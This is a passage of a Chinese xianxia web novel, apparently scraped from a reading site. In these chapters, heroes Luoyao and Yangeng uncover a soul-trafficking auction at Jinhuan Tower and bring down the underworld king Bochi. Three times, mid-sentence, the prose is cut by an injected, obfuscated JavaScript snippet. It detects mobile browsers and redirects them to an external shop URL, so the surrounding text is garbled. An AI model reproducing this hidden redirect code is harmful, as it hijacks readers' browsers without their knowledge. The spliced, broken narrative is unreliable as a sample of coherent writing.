小厮差点被炎庚一手提起来,早已吓破了胆子,连声求饶:“贵人饶命!平时这些魂魄不常有,每隔十天半个月才会被运出来卖一个,都是掌柜家准备的,与小人无关啊!” “那他们都是哪里来的,其他人又被关在哪里?” “小人不知、小人不知……” 这些打杂的小厮拿钱办事,触不到最深处的秘辛,怕是连赶魂人的存在都不知情。炎庚何尝不知这一道理,无非是想吓一吓他,万一瞎猫碰上死耗子,就能从中发现点线索呢? 见小厮反应不似作假,他没有再做什么过激的事,烦躁地摆了摆手,那小厮便连滚带爬地逃了。 伯池为了长生,需要赶魂人效命于他,他在外杀害、诱拐无辜平民,再交由赶魂人炼化提纯,运回冥宫。 他们各取所需,唯有双向的利益才能长久,默许赶魂人在炼化魂魄后高价卖出一小部分,便是伯池让给尽欢楼最大的“利”。 珞瑶走出包厢,站在天井边缘,那个周掌柜不知何时已经消失在高台上,不见了踪影,只听见那道沙哑如鬼魅的声音,在每个人耳边响起: “至纯至洁之魂,实在是难得的宝贝,不论豢养赏玩还是用作炉鼎,都是上佳之物……” 富家大族内部藏污纳垢,多得是癖好独特、言行大胆的人——鬼也一样,别说买卖少女,怕是比这出格十倍百倍的事也做过了。 不过须臾的功夫,已经有包厢亮起了叫价的冥灯,几方争相竞价,一个平凡的少女,竟比之前的几件宝物更受追捧。 铁笼里,小女孩一身粗糙的麻衣,稚嫩的面容,看起来不过十岁出头的年纪。因为被炼化,她已经失去了自我意识,眸光始终清澈,身体却本能地发着抖,蜷缩成了一团。 眼见价格被越抬越高,他们来不及周旋,珞瑶当机立断,“跟价,先拍下来。” 炎庚掌心立刻生出了火苗,就在他将要点亮灯时,变故陡生。 高台上,铁笼阴差阳错打开了一条缝隙,负责看管的守卫还没来得及反应,那原本被囚禁着的少女竟逃了出来,魂影惊惶地左窜右撞,顿时打翻了一大片点燃着的烛盏! 她的魂魄如烟似幻,好似被疾风卷走,转眼间就消失在了众人的视线里。 24. 白夜魂游(五) 东倒西歪的烛盏侵染了曳地纱幔,顷刻燃起了熊熊火光,尽欢楼的小厮伶人慌忙地泼水救火,包厢里的来客害怕出事,纷纷向外四散。 不过片刻,场面就乱成了一团,尖叫和呼救声此起彼伏。与此同时,楼下悄然出动了一支守卫,四处搜查逃跑少女的踪影。 眼看着周遭的混乱,珞瑶三人倒没有那么慌张,但心中到底还是不安定。 炎庚到包厢外望了几眼,道:“我出去看看。” 他的身影消失在拐角处。房门大敞,珞瑶和纭姬分别在两侧窗边,时刻关注着外面的情况。 走廊上到处是寻找少女的守卫,大有掘地三尺不罢休之势。 前方,一道鬼魂如无头苍蝇一般拼命地逃,在路过包厢时慌不择路地飞窜进来,冒冒失失带起一阵风,吹得纱幔浮动不止。 珞瑶敏锐地听见了动静。她有所觉,循着声音来处走到桌案边,蹲下身,那道鬼魂在微弱的光下发着抖,缓缓现出了一道纤瘦的身形轮廓,蜷缩在角落,正是方才从拍卖笼中逃出来的少女。 她神情茫然,是被炼化抽走了意识的状态,眼中却本能般含着泪花。 “在那边,快追!” 走廊上的声音越来越近,珞瑶快步走到门前,将那些守卫悉数拦在了外面。 看见珞瑶,守卫头子向她揖手,说明了情况。 珞瑶冷静道:“我没有看见她。房中尚有女眷歇息,不太方便,请你们另去他处寻找。” 上房的客人非富即贵,不是谁都惹得起的,守卫们深知这一点,即使心有为难,亦不敢得罪珞瑶,只道“叨扰贵客”,便匆匆改去旁处了。 楼下,原先在此寻欢作乐的客人已经跑了个七七八八,残乱的红绡曳得到处都是,琴筝、琵琶也胡乱砸了一地。 炎庚不知包厢那边的情形如何,只身混进了眼下的乱局中,他直觉赶魂人就在这里,逆着人流朝内廊的方向去。 灌木花丛遭人践踏,倾圮倒映在荷花池中,半路倒塌的假山拦住了人的去路。炎庚施法将假山移开,走进后花园深处,发现这里狼藉不堪,早已逃得不剩多少人。 “救命……” “救……救救我……” 微弱的呼救声响起来,似乎是从脚下传来的,炎庚陡然停住,蹲下身屏息去听,那阵声音当真愈发明显了。 他意识到什么,锐利如鹰的目光扫过一周,寻找着异常的痕迹,破碎的假山石块砸进荷花池,水面溅起了涟漪,仅仅只是翻起片刻波澜,便又恢复成了镜面一般的平静。 这片荷花水塘,竟然是一处刻意制造出的幻境! 炎庚立刻催动灵力,用巨石砸、用法阵强攻,不断尝试着怎样才能解开这个幻境,因为在这下面必定藏着秘密,而且八成就是他们在找的那一个。 “住手!快住手!” 周掌柜从高台上赶来,暴喝道,袭来一道不留余力的剑气,炎庚不见惧色,直直迎了上去,掌中汇聚出一团暗光。 与亲上过边疆战场的炎庚相比,周掌柜明显不是对手,来来往往过了十几招,只一个疏忽,便被强势逼上前的男人掐住了咽喉,悬在空中。 涌动不止的灵力尚有余波,周掌柜想挣脱而不得,艰难道:“北漠从商的家族里没有人能使出这样的术法,你不是北漠人!” “你发现得太迟了。” 炎庚冷冷道,“解开幻境,放人。” 脖颈上的力度似乎松了几分,周掌柜笃定他不敢动自己,压低声音威胁:“我劝你不要多管闲事,尽欢楼背后的靠山,你得罪不起……” “谁,伯池么?” 炎庚毫无顾忌地说出了那个名字,令周掌柜脸色大变,方才的从容冷静去得无影无踪,他慌乱冲外面大喊:“来人!来——” “聒噪。” 一道冰冷的声音在空旷中响起,炎庚面上没了笑意,已不想再费心与其周旋下去。 他话已说在前头,是这个姓周的不听话,既然如此,他只能靠自己的本事去解那幻境了。 炎庚双眸眯了眯,暗红色的光焰愈发耀眼,他掌中涌起光焰,一手扣紧周掌柜的脖颈,朝着地面的莲花池俯冲下去! 随着一声重响,水花飞溅,伴着扬起的烟尘四散。 血色染红了池水,逐渐蔓延开来,炎庚直起身,挂在手指上的血珠垂落进荷花花蕊,渗入了池边的白玉缝隙。 尝到掌权者的血,自然能让沉睡的机关感受到危险,继而唤醒它。 荧光循着池沿亮了一圈,池水粼粼闪动,与整座池塘一道如烟云般散去。 紧接着,一条长长的楼梯缓缓现出来,直通向更深的地下。 “救命!” “求你救救我们……” 原先微弱的呼唤声没有了幻境的阻隔,清晰地传进了炎庚的耳朵。 楼梯尽处,数以百计的铁笼整齐地排列在两侧,和拍卖场上囚禁少女的那只如出一辙,被关押在笼子里的魂魄拥挤不堪,争相从缝隙中伸出无助的手,淌着血,流着泪。 极端糟糕的环境,比奈何桥畔更加阴冷,比冥宫的诏狱更加黑暗。 炎庚站在原地,脚下如同生根了一般,尽管心中早对伯池和赶魂人的阴狠程度有所预想,可当真正目睹了眼前这一幕,还是忍不住心中震动。 他大步上前,欲将地下囚禁着的魂灵悉数释放出来,踏上第一级楼梯时,背后忽然无声无息出现了一人,用某个尖锐的物什顶住了他的后心。 炎庚停住,冰凉的触感透过衣物,迅速传进了四肢百骸。 他身后,女子拿着珞瑶捐出去的那支蓝玉簪子,唇边含笑,依然娇媚生姿,是之前见过的乐姬锦瑟,但又好像不是。 “炎将军大驾光临,怎么都不通传一声呢?” 锦瑟说着话,抵在炎庚后心的那只手变得干瘦,露出了嶙峋的森然白骨。 …… 顶楼,包厢房门紧闭,隔绝了外界的喧闹。 珞瑶打发走了巡查的守卫,回到屏风后,见少女想要跳窗逃跑,立刻从指尖飞出一道光柱,将她吸了回来。 “我什么都不知道!什么都不知道……” 少女想要尖叫,被纭姬冲上去及时捂住了嘴,一点声音都没传出去。 珞瑶走近她,低低道:“别怕,我们不会伤害你。” 许是看两人颇为面善,少女在安抚下渐渐冷静了下来,虚幻的魂体抖得也没那么厉害了。 珞瑶松开了她。 眼前的少女经历过赶魂人的炼化和关押,是他们揭发尽欢楼秘密可遇不可求的活向导,如果她真的知道什么,那就再好不过了。 “小姑娘,你叫什么名字?” 纭姬怕惊到她,轻声问,少女攥着自己的衣襟,声音细若蚊蝇,“我想不起来了。” 珞瑶在旁边听着,喉中一涩。被强行夺去性命拉入冥界、又无辜遭遇炼化的人,早已被抽去了意识中所谓的“杂念”,哪里还能记住自己过去的名字? 少女颈间戴着一条红绳,在衣襟下若隐若现,珞瑶看见了,拿到手里一瞧,发现红绳下挂着个小小的玉坠,上面刻着一个“然”字。 也许这就是在人间的时候,她父母为她取的名字。 “你别怕,我们是来查探这里的事的,不会伤害你。” 珞瑶将玉坠重新放回她的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252731|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 襟,尽量放柔了声音,斟酌道:“你为什么不记得自己的名字了?是不是因为……尽欢楼暗中对你们做了什么不好的事?” 小然披头散发地坐在地上,听了她的话后先是慌张地摇头,随后却又点起头来,想承认又不敢承认。 珞瑶的心沉了沉。 纭姬见状,接过话继续试探,“你们是被强迫抓来的,然后又被抽走了心神和意志,是吗?” 小然哭起来,“好冷,好黑,他们……” “他们怎么?”珞瑶屏住了呼吸,立刻追问。 珞瑶和纭姬循循善诱,小然捂住脸,语无伦次地说着什么“楼底”、“牢房”之类的字眼,但始终抓不住关键的线索。 手边有热茶,珞瑶亲自倒了一杯交到小然手里,沉住气,暗暗想着该如何帮她回忆赶魂人做过的事。 “嘭——!” 就在这时,数声爆破的声音突然响彻了整个尽欢楼,楼梯断裂,游廊上珍贵的琉璃浮瓦哗啦哗啦碎了一地,听声音起码震碎了三层楼。 楼下混乱一片,火光未歇,反而愈燃愈烈,两股不明来处的灵力直面相撞,碰出了震天撼地的气势。 “是少主!” 纭姬脸色骤变,当即就要从走廊上跳下去,但这样无疑会暴露她的身份,又将是对嬴氏的一次重创。 电光火石间,珞瑶拦住她,“你留在这里看着小然,我去。” 说罢,她转身跃向楼底。 ……… 珞瑶找到炎庚的时候,他已经抛去了原先的易容,巨大的白虎真身浮现在他身后,发出一声震天撼地的怒吼。 廊柱轰然倾倒,偌大的花园在打斗中满目疮痍,比方才还要破败几分。 对面,与炎庚交手那人身轻如燕,灵活地穿梭在他布下的法阵中,竟是先前为他们献过曲的锦瑟。 珞瑶心生疑云,飞身上前加入了打斗,数道灵力碰撞在一起,遽然扬起了漫天的烟尘。 一对二的形势让锦瑟感受到不利,灵阵被破,她顺势退后几步,跃上高处尚未倒塌的拍卖台。 锦瑟神情阴鸷,“炎将军如此不依不饶,是要彻底与冥王撕破脸了?” “他势头已去,我劝你尽早倒戈,莫要跟他一起死。”炎庚道,随之和珞瑶并肩飞上高台,站在锦瑟正对面。 其他人意识到这里的危险,都悉数逃窜了出去,断壁残垣中只剩下他们三人。 锦瑟朗声笑起来,“凭你二人之力,说这句话怕是有些早了!” 她撕去伪装,艳丽裙裳悄然褪了色,面上莹润的皮肉以肉眼可见的速度迅速消弭,就像被虫蚁啃噬一空,取而代之的是一具干尸般的骷髅。 厉鬼悬于高台之上,分外瘆人,空洞洞的眼窝里没有瞳孔,露出的骨骼上也布满了刺青般的黑纹。 他们掘地三尺都了无踪迹的赶魂人,原来一直在他们身边。 炎庚率先冲了上去,而赶魂人身法鬼魅,于各处现身又隐去,所到之处幽幽鬼火明灭,砖瓦随之倾塌。 看得出她修为颇高,若不正面交锋,炎庚也不一定是她的对手——当然,如果是等闲之辈,也就不会被伯池挑中合作了。 有炎庚牵制赶魂人,珞瑶从侧面奇袭,身影于楼阁之间穿飞,不断从指尖放出莹蓝色的灵光。 两人先前没有并肩作战过,但配合默契,赶魂人既攻又防,仍支撑着没有显出颓势,只见那身黯淡的斗篷一闪,隐入漫天鬼火。 下一刻,一张骇人的骷髅面庞倏地出现在了珞瑶面前。 “他是炎将军,你又是谁?” 赶魂人声音沙哑,深陷的眼窝如有神般盯着她,含着探究的光彩。 25. 白夜魂游(六) 望着近在咫尺的阴森鬼面,珞瑶未答,眸色深了深。 赶魂人能通过招式术法识破炎庚的身份,但就算她本事再大,也难以看穿圣女精心筹谋过的易容术。 转瞬的功夫,炎庚已从赶魂人身后追了上来,“你还不配问她的名字!” 他厉喝,远远劈出一道横光,强硬地终止了这段未能开始的对话,悬在窗沿将落未落的琉璃碎片,霎时间被震碎成了齑粉。 赶魂人疾退开一段距离,复又与炎庚打了起来。 午夜时分,天色愈发黒沉。激烈的争斗损坏了整个尽欢楼的地基,更高的楼层变得摇摇欲坠。 见势不对,纭姬将小然安置在安全的角落,现身与炎庚共同对敌。 珞瑶跃上顶空,双手掐出了法诀,回头一望,却见原本瑟缩在墙角的小然跌跌撞撞跑了出来,双手攥着一把不知从何处发现的短剑。 “不用怕,很快就没事了。” 她将少女护在身后,全神贯注投入到眼前的斗法之中。 就在珞瑶掌心灵力汇聚,将要发出决定胜败的最后一击时,不远处的纭姬注意到了这边的情形,脸色突然变得煞白。 “不要!” 纭姬失声大喝,珞瑶意识到不对,想要防卫,却迟了一步。 随着“噗哧”一声利刃贯穿皮肉的闷响,她只感到背后一凉,锋利的刀尖裹着血,自背部彻底贯穿了她的身体。 珞瑶身体僵住了。 她缓缓回过头,看见小然就站在她背后,握着剑柄的双手抖了抖,猛地向后退了好几步。 为什么? 珞瑶眼中闪过迷茫,双唇动了一下,却没能发出声音。 她扶住廊柱,眼前一阵阵发黑。炎庚甩开赶魂人赶了过来,握住她手臂:“你怎么样?” 灵力从伤处涌出来,不住地向外逸散,以珞瑶现在自封修为的状态,这毫无防备的一剑足以令她元气大伤。 身体是自己的,对于此时的虚弱,珞瑶自然感受得最为清楚,思绪飞转。 刀枪冷箭能轻易夺去芸芸众生的性命,却伤不了圣女之躯。若她现在冲破体内的封印,眼下让她感到吃力的伤势,立马就会变成微不足道的小打小闹。 她自曝了身份,赶魂人不敢再顽抗,随后,关押在地下暗室的无辜百姓也会被悉数释放。 可倘使这样,丑事被终结于尽欢楼之内,她还怎么替那些枉死的魂魄讨回公道,怎么揭发冥宫和伯池犯下的罪,拿到归魂灯? 小然受到惊吓,早已逃到不知何处去了,珞瑶无处追问,暂且放下一腔疑心,将注意力放回到眼前的形势上。 她心一横,手上用力,一把拔出了深深嵌在体内的那把短剑。 “你——” 炎庚大惊,只听见“扑哧”一声闷响,眼前人动作太快,他甚至没来得及阻拦。 珞瑶吃痛,腹部血流如注,而后顺应本能,任由自己的状态衰弱了下去。 两人对上目光,她脸色尽白,眸子里却含着隐秘的锐色,双唇无声开合,对他说了四个字,“将计就计。” 炎庚惊疑地盯着她,恍然明白了她的意图。 原本三人配合得天衣无缝,现在倒了一个,便不可避免地出现了缺口。眼见赶魂人追了上来,珞瑶撑着站起身,裙袂翻飞,一块工艺精良的铜符从她袖中掉出来,从高高的空中坠落,落入了赶魂人之手。 “你怎么会有界主殿的令牌?!” 赶魂人只拿在手里瞥了一眼,语调登时就变了。 炎庚适时冷笑一声,“怎么,你以为是她偷来的?” 他有意引导,消减了赶魂人的怀疑,僵持之时,珞瑶望向纭姬,突然想到了千里之外的焰息山。 这边的消息传到冥宫,难保伯池会不会狗急跳墙率先对嬴氏族人发难。 另一边,赶魂人因珞瑶的身份有所惊诧,但不过片刻便消化了这一事实,“炎将军的手真是长,居然伸到了界主殿里面去,连冥王手下的女官都能收买。” 她嗤笑,幽蓝鬼火在掌中翻腾,“王的叛徒,那就随我去冥宫请罪吧……” 风声大作,地下暗室被重新关上。 方才四散无踪的守卫收到召令,再度汇聚起来,在楼底形成了一道天罗地网的灵阵,如蚂蚁般密密麻麻地融为一体。 望着下面的景象,珞瑶心下一麻,旋即动作比意识快,冲到纭姬面前。 “回焰息山,先护住你的族人,快!” 匆忙之时,她顾不得腹部的伤口,用力将纭姬一推。 纭姬没有防备,转眼便被逼退到了游廊边缘,回头一看,身后的琉璃浮窗已被震碎,外面直通着鬼市,正是一个适合逃脱的缺口。 纭姬立马领会了珞瑶的意思,本不肯抛下他们只身离去,可思及焰息山此时潜藏的危险,到底还是忧思难当。 她望向炎庚,见那人目光如炬,显然也认同珞瑶的做法——为求稳妥,他们不该在同一条船上。 “我去向夫人报信!” 守卫将要包围这里,再不走就来不及了,纭姬权衡再三,最后一咬牙,转身从浮窗前一跃而下,消失在了灯火里。 珞瑶松了口气,即便血迹已然染红了她下身大片的衣裙,仍坚持着不退后,飞跃越来越多的守卫,向赶魂人直逼而去。 她受了伤,实力被大大削弱,事实上对赶魂人已造不成多少伤害,炎庚独木难支,在千军万马的围剿下,没过多久便落了下风。 最后一道阵法摇摇欲坠,轰然消散在风里,珞瑶明显吃力,炎庚想上去帮她,却在半途被赶魂人击中,与珞瑶一同跌了下去。 两人落向楼底,毫无意外地被守卫包围了。 数不清的刀尖横在他们颈间,炎庚眼带戾色,被珞瑶悄然按住。 赶魂人后一步赶到,不紧不慢从人群中现身,行走间隐去骷髅,望着落败的两人勾了勾唇。 “把他们抓起来,带去向王谢罪。” …… 珞瑶有意诱敌,但到底是虚弱至极,不知之后发生了什么,待她再次醒转,发现外面天色晦暗无光,而自己已经“离开”了尽欢楼。 “醒了?” 身旁传来声音,她侧头,炎庚就坐在另一边,除了衣袖上沾了些许暗红的血,显得有些狼狈,其他倒没什么异常之处。 在见到伯池之前,赶魂人应该不敢轻易动他们。 珞瑶心绪稍定,问:“这是哪里?” 四下荒无人烟,两侧半死不活的老树接连向后退。赶魂人是没有做什么,只是安排了一辆特制的囚车,把他们牢牢关在了里面。 “去冥都的路上。” 炎庚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259106|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫了一眼外面虎视眈眈的守卫,“冥界疆域广大,到处是豪族地主修挖的私道,不许平民踏足,这条八成就是。” 算算时间,此刻约莫是拂晓时分,天边日月同辉,而在这里,从来耀眼的光芒都变得黯淡,闯不进遮天蔽日的黑暗中。 囚车组成了一支长长的队伍,里面关押着上千个无辜的魂魄,浩浩荡荡行向未知的远方,至于他们两个,则得到了特别“关照”——为了防范他们逃脱,这辆特别的囚车被安排在了队伍中间,由重兵把守着,上面施加的禁制也尤为强盛。 赶魂人处心积虑地防备着,然而他们根本没有想过要逃,珞瑶接下来要做的事,也不会被这些手段影响毫分。 珞瑶静静坐在角落,忽略了那些守卫警惕的目光,在心中唤:“丹狸。” “去神山告诉羲洵他们,万事俱备。”她道。 微风吹过,衣袖随之拂动,一缕白红相间的绒毛悄然飞起来,顺着风向东一下西一下晃荡着,飘出了囚车的缝隙。 就好像一片树叶、一团平平无奇的柳絮,没有吸引到任何有心的注意。 望着丹狸消失在道路尽头,珞瑶收回目光,开始调息自己体内凌乱的内力。 被小然刺伤后,她的灵力不断流失,导致与赶魂人交手时十分吃力,但小然并无修为,那一刀不该对她造成如此大的伤害。 如此,问题应该出在那把短剑上。 小然是地下暗室被关押的魂魄中的一员,在拍卖时从没锁好的笼子里“逃”了出来……以尽欢楼的谨慎,怎么会出现这种低级的疏忽? 更巧的是,小然逃出来后又误打误撞闯进厢房,与她们相识了。 珞瑶脑中出现了一个念头,始终静不下心来,她调息着灵力,却在无意中察觉出了不寻常。 除了自己的灵力,她体内还涌动着另一股浑厚的力量,这股力量疗愈了她受损的一部分灵台,使她没有之前那般虚弱了。 珞瑶意识到是何人所为,看向身旁,“你也有伤,下次别这样做了。” “看着你奄奄一息,我岂能安心。”炎庚知道她在指什么,口吻轻松。 “这伤口对我来说不算什么。” “那也经不住拖的时间太久,你的元神那般珍贵,可不能让损伤了。” 见珞瑶无言,炎庚玩味地挑了挑眉,倾身凑近她,“圣女殿下,你平时待‘下属’都这么好?我从没在冥界见过你这么体谅人的上司。” 为了不让守卫听见,他刻意压低了声音,语调轻扬。 珞瑶神色如常,看了他一眼,“许是因为冥界都是鬼魂吧。” “……” 炎庚想了半天才反应过来,于是噎了一下,被她清奇的思路折服了。 经过这么多事,两人早已熟稔起来,炎庚知道,许多时候不是珞瑶装傻,是她真不明白其中暗含的意思。 那反应,活像一根生长了千年的老木头转世……也许这就是圣女的个性吧。 炎庚勉强说服了自己,但心里还是有些不甘,他拉着脸,故意问:“你平时和沉泽宫那位神君说话,也是这样的?” 珞瑶不知他怎的突然提起羲洵,如实回答:“他没问过你这种问题。” “……” 炎庚无言以对,好似一拳打在了棉花上,烦躁地抓了几把头发。 26. 白夜魂游(七) 正午时分,尽欢楼的队伍进入冥都,驶进宫门,轻车熟路登上了冥宫最深处的大祭坛。 祭坛上少有人烟,一眼望不到边际,肃穆又宽阔。珞瑶和炎庚随着三千魂魄被运进去,隔着囚车,看见了御座上的伯池。 想必伯池早已收到了消息,对在此看见炎庚并不意外。他坐在上首,脸色阴沉之余,还含着属于胜者的得色。 赶魂人向伯池俯首行礼,知他识得炎庚,便没有再介绍,于是立在御座旁,将矛头对准了珞瑶。 “此女自称是界主殿的女官,她身上有界主殿的令牌。” 伯池颇有兴致地眯起了眼睛,他走下御座,缓步来到囚车前,与蛰伏已久的珞瑶对上了视线。 两人目光相触,结果如珞瑶所料。冥王没有看出端倪,只分辨她的面容,认出了囚笼里的女子确是自己眼熟的某个女官。 不过相比一个微不足道的女官,他当然对炎庚这个敌视多年、却碍于种种始终无法拔除的眼中钉更感兴趣。 在确定了珞瑶的“真实”身份后,伯池大笑起来,“连本王手下的人都能策反,嬴氏之人果真手段了得,哪怕只是区区一个养子。” 炎庚当下所处的境遇不利,却不见示弱,勾起唇角,冷冷回敬了一句:“冥王谬赞。” 伯池脸上的笑消失了,鹰眸中露出阴鸷的光,对侍从道:“押他出来。” 侍从齐齐守在两侧,护卫着他们的王,伯池手一挥,让人悉数退下,独自走到被押到殿下的炎庚面前。 随后,伯池的手如夺命的铁钳,一把掐住了他脖子! “早知道养虎为患,我三百年前就不应心软。”伯池面露狠戾,声音从牙缝里挤出来。 炎庚呼吸困难,却笑得更恣意,“虚伪,你吞噬三十万具魂魄求长生之术,身上积攒的罪孽足以永世不得入轮回……” “那又如何?只要杀了你二人,还有何人知道我的罪!” 伯池眼中闪过杀意。许是成功抓捕到炎庚一事让他尝到了胜利的甜头,此时本是最该加以防备的时候,他却刚愎自用地放松了警惕。 炎庚一声嗤笑,艰难道:“圣女,你都听见了吧?” 圣女? 伯池为他突如其来的话语所惊,脸色一变,退后去好几步。 紧接着,伯池有所察觉,遽然抬眼看向不远处囚车里的女子。这一次,她的眼神变了,不再像方才一样内敛沉默,而是凌厉如冰,含着毫不掩藏的锋芒,直直射向他。 那双令人不敢直视的瞳眸,缓缓泛起灰蓝色的光。 囚车被柔滑如水的袖角一抽,瞬间碎裂成了好几半,珞瑶冲开封印,几步飞向了空中,眼下昙花纹若隐若现。 她厉喝:“伯池,还不束手就擒!” 想让一个罪孽深重的人迷途知返不是那么容易的事,在绝对的力量面前,诚然有人会选择缴械投降,但还存在一部分病入膏肓者,他们反而会被眼前的现实激怒,宁愿放手一搏,与对面之人不死不休。 “绝无可能!” 伯池显然是后者,从圣女潜伏于此的震惊和慌乱中回过神后,他面露凶光,身侧的赶魂人会意,率先向珞瑶冲了上去,那些身手了得的随侍也紧随其后,抽出了腰间佩剑。 众人只听命于冥王,竟没有半分犹豫,很快将珞瑶包围了起来。 然而,现出真身修为的珞瑶岂还是方才的孱弱模样,即使赶魂人在尽欢楼叱咤风云,如今也别想伤到她分毫。 赶魂人迅速逼近珞瑶,枯骨掌心汇聚起刺眼的鬼火,珞瑶信手一扬,那致命的光焰便迎风而灭! 赶魂人大骇,却毫无还手之力,如一粒尘埃被风控制般急速后退,撞上大祭坛角落里的蟠龙柱。 一声巨响,脚下的地面剧烈地摇晃了几下,原地踯躅不前的守卫悉数被震翻在地! 珞瑶无心浪费时间,打算先将困在这里的无辜百姓放出去再与他们算账,但伯池岂会答应。当祭坛上的结界将要被破开时,他疾冲上去,逼退了珞瑶,竭力将那道结界修补了回去。 电闪雷鸣,天边隆隆作响,两人各自飞向异端,剑拔弩张地对峙。 伯池一面出招,一面扬声大喝,试图将珞瑶说服:“这是我冥族内部之事,圣女何必插手?本王可没有阻碍澜渊追剿幽祟!” “那些无辜百姓不是你一人的私有,你无权支配他们的性命。”珞瑶道。 两人势均力敌,一时看不出何人占上风,伯池:“天下向来弱肉强食,用他们的命换取本王的长生,增进整个冥界的实力,何错之有!” “妄言。”她寒声。 轻光绫收到主人的召唤,从虚空中乘风而来,缠绕上珞瑶的手臂和腰际,抽打出去的一瞬间如同裹挟着万钧之势。 伯池未能防备,因这一下失去平衡,重重摔落到地面上,喷出了一口鲜血。 他醉心长生之术,已是无可救药了。 珞瑶落向地面,缓步走近他,伯池无端笑起来,声音粗哑,又好像带着某种不知名的决然。 “圣女,就算你实力再强,现在也是孑然一身,鱼和熊掌,怕是不可兼得……” 她一顿,心中霎时浮起了一种不好的预感。 一刹那,珞瑶猛地想起了大殿下仍被控制着的炎庚。 她回过头,以迅雷不及掩耳之势赶到他身旁,想替他解开囚索,炎庚却平静地注视着她,摇了摇头,“没用的,伯池提前在祭坛上设下了针对嬴氏的封印,其中也包括我。” 珞瑶惊诧,果然施法几次也没能劈开那道坚韧的囚索。 不过片刻,伯池站了起来,用术法控制了炎庚,她欲阻拦,莹蓝色的光柱刚刚触及炎庚的身体,就被一道强劲的刀光拦腰斩断了。 炎庚被牵引着,离她越来越远。那双暗红色的眸子里流露出向死而生的快然,全无惊惧之意,对她说了四个字:“我愿赴死。” 之后他还说了什么,珞瑶没能听清,只看见他双唇短暂开合,好像唤了她的名字。 伯池恢复了内力,甚至比方才精神百倍,气焰嚣张地立在祭坛上空,脚下踩着惊惶不已的黎民,手中捏着炎庚的命。 在他的另一手里,弯刀在浮空中划出冰寒的青影,与闪电一道割破了脆弱的天穹。 “就算败局已定,我也要有人为我陪葬!到底是要这三千庶民,还是要自己圣使的命,就看你的选择了。” 冥王的声音从高处传来,传进珞瑶的耳朵。 稀疏的雨幕里,她看清了那把神器。朔月刀在认主后会反哺其主,使其功力大增,人与刀并肩作战时表现得最为显著,想必这就是伯池迅速恢复的原因了。 方才她略胜一筹,如今伯池拿出朔月刀,必然会使形势有所动摇,估量现在的实力差距,若她与伯池硬碰硬,定难逃两败俱伤的结局。 鱼和熊掌不能兼得…… 若她非要兼得呢? 珞瑶沉着面容,霜华流玉般的裙袍在风雨中猎猎飘扬。 伯池步步紧逼,神色越来越猖狂,下一瞬,珞瑶疾冲了出去,如光剑流星般跃上浮空,腕上缠着的轻光绫强光闪动,向朔月刀逼近—— 她从不回避玉石俱焚的结局,只要对方敢奉陪到底。 见珞瑶出手,伯池手中刀光青影渐盛,两人皆使出了十成的力,就在将要相撞之时,一道愠怒的声音自天外响起,“你还没有能耐要挟她!” 神谕现世,如巨石入海,激起浪涌的回音,与此同时,淡金色神光在空中突现,显出了三尺长剑的轮廓。 此剑属于光明神,名曰“同尘”。 听见那道声音后,珞瑶的心陡然松驰了,却没有停下动作。 她抓住机会,手中绫罗化作长鞭,向伯池狠狠抽了过去! “啪——!” 刹那间,绫罗与长剑融为一体,莹蓝色与淡金色神光形成了合力,伯池骇然失色,如一只残破风筝般被无情击落,祭坛四面石柱尽毁,银制的界主御座也被震了个粉碎。 风雷涌动之时,冥王口鼻出血,倒在了一片狼藉的御座前。羲洵自云中现身,手提长剑,眉间神的印迹象征光明和温暖,此刻成了无声的威压。 “朔月刀,是我亲自交到你手里的。” 他走到伯池面前,声音冰冷,“你拿我给你的东西,伤她性命?” 跌落在一旁的弯刀亦为神力所慑,光芒变得暗淡许多,它飘进羲洵手中,后者毫不吝惜,掌中用力。 一声闷响,天下趋之若鹜的神器被毁去,转眼化作一滩齑粉,消散在了万丈虚空里。 …… 珞瑶的消息传到神山后,伯池犯下的罪行算是坐实了,如今众神赶至冥界,又亲眼看见祭坛上囚车里关押着的百姓,已然证据确凿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262615|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那些无辜卷进纷争的无辜平民被悉数释放,至于祭坛上的守卫和以赶魂人为首的一干乌合之众则是帮凶,罪责难逃。 一切皆有神明料理,另一边,冥王孤零零地瘫在残垣断壁里,目光不复昔日锐利,变得浑浊且涣散。 伯池的修为已被废去,在此不过是苟延残喘,恍惚间,他眼前出现了一个人影,却看不清晰,只能隐约辨认出那人身量高大,一身黑衣。 “杀……杀了……嬴……” 弥留之际,伯池思绪飘然,下意识说出的仍是内心最深的执念,那人没说话,发出了一声嘲讽的哂笑。 从这熟悉的声音,伯池分辨出了眼前人的身份,却说不出完整的话语,唯有不甘地从喉中发出“嗬、嗬”的声音。 